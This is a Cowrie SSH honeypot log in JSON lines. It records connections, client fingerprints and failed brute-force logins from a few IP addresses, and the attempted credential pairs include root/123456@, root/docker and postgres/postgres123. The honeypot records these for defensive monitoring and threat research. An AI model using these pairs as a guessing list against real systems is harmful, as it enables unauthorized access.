{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:06.783831Z","src_ip":"117.219.14.193","session":"b11f098c808e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42038,"dst_ip":"10.17.0.5","dst_port":22,"session":"468560406587","protocol":"ssh","message":"New connection: 45.153.34.195:42038 (10.17.0.5:22) [session: 468560406587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:06.792851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:06.796964Z","src_ip":"45.153.34.195","session":"468560406587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:06.880088Z","src_ip":"45.153.34.195","session":"468560406587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@","message":"login attempt [root/123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:07.135279Z","src_ip":"45.153.34.195","session":"468560406587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:07.489273Z","src_ip":"117.219.14.193","session":"b11f098c808e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:07.502090Z","src_ip":"91.92.40.36","session":"156326862808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:08.219757Z","src_ip":"45.153.34.195","session":"468560406587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:08.726386Z","src_ip":"117.219.14.193","session":"b11f098c808e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":36148,"dst_ip":"10.17.0.5","dst_port":22,"session":"b852a67eba76","protocol":"ssh","message":"New connection: 117.219.14.193:36148 (10.17.0.5:22) [session: b852a67eba76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:08.978484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:08.983805Z","src_ip":"117.219.14.193","session":"b852a67eba76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:09.228982Z","src_ip":"117.219.14.193","session":"b852a67eba76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16480,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52dbb380136","protocol":"ssh","message":"New connection: 91.92.40.36:16480 (10.17.0.5:22) [session: d52dbb380136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:09.480304Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42040,"dst_ip":"10.17.0.5","dst_port":22,"session":"29c414d3e72a","protocol":"ssh","message":"New connection: 45.153.34.195:42040 (10.17.0.5:22) [session: 29c414d3e72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:09.621115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:09.656458Z","src_ip":"45.153.34.195","session":"29c414d3e72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:09.752756Z","src_ip":"45.153.34.195","session":"29c414d3e72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:09.964763Z","src_ip":"117.219.14.193","session":"b852a67eba76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:10.090135Z","src_ip":"45.153.34.195","session":"29c414d3e72a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:10.391459Z","src_ip":"91.92.40.36","session":"d52dbb380136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:10.766879Z","src_ip":"91.92.40.36","session":"d52dbb380136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:11.174704Z","src_ip":"45.153.34.195","session":"29c414d3e72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:11.212655Z","src_ip":"117.219.14.193","session":"b852a67eba76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":23563,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e83c11d63b","protocol":"ssh","message":"New connection: 117.219.14.193:23563 (10.17.0.5:22) [session: 73e83c11d63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:11.460070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:11.463997Z","src_ip":"117.219.14.193","session":"73e83c11d63b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:11.712587Z","src_ip":"117.219.14.193","session":"73e83c11d63b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:12.466032Z","src_ip":"117.219.14.193","session":"73e83c11d63b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54358,"dst_ip":"10.17.0.5","dst_port":22,"session":"b444a42d2c2a","protocol":"ssh","message":"New connection: 45.153.34.195:54358 (10.17.0.5:22) [session: b444a42d2c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:12.503072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:12.666435Z","src_ip":"45.153.34.195","session":"b444a42d2c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:12.669517Z","src_ip":"45.153.34.195","session":"b444a42d2c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:13.034470Z","src_ip":"45.153.34.195","session":"b444a42d2c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:13.716927Z","src_ip":"117.219.14.193","session":"73e83c11d63b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":34198,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ac1ff209a1c","protocol":"ssh","message":"New connection: 117.219.14.193:34198 (10.17.0.5:22) [session: 6ac1ff209a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:13.943498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:13.951007Z","src_ip":"117.219.14.193","session":"6ac1ff209a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:14.192713Z","src_ip":"117.219.14.193","session":"6ac1ff209a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:14.214204Z","src_ip":"45.153.34.195","session":"b444a42d2c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:14.915637Z","src_ip":"117.219.14.193","session":"6ac1ff209a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qweasd123","message":"login attempt [root/Qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:15.185223Z","src_ip":"91.92.40.36","session":"d52dbb380136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54366,"dst_ip":"10.17.0.5","dst_port":22,"session":"626b35b40590","protocol":"ssh","message":"New connection: 45.153.34.195:54366 (10.17.0.5:22) [session: 626b35b40590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:15.484918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:15.490905Z","src_ip":"45.153.34.195","session":"626b35b40590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:15.750182Z","src_ip":"45.153.34.195","session":"626b35b40590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:16.157921Z","src_ip":"117.219.14.193","session":"6ac1ff209a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:16.182591Z","src_ip":"45.153.34.195","session":"626b35b40590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":14761,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d5a94cd05c","protocol":"ssh","message":"New connection: 117.219.14.193:14761 (10.17.0.5:22) [session: f5d5a94cd05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:16.412645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:16.417953Z","src_ip":"117.219.14.193","session":"f5d5a94cd05c","protocol":"ssh"}
